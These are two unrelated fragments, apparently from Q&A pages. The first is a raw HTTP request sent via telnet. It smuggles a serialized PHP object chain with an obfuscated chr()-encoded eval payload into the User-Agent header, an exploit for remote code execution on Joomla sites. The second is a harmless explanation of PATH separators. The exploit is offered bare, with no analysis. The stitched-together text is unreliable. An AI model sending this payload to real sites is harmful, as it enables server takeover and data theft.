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telnet yoursite.com 80 GET / HTTP/1.0 Host: yoursite.com User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:870:"eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111)...


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PATH=".:/bin:/usr/bin" You are misundestanding the notation, the colons are seperators, so this will check in the following places (in order) "." the current directory "/bin" typically the place where critical binaries are stored "/usr/bin" typically the place where less critical binaries are stored Having "/bin" and "/usr/bin" on the path is perfectly ...



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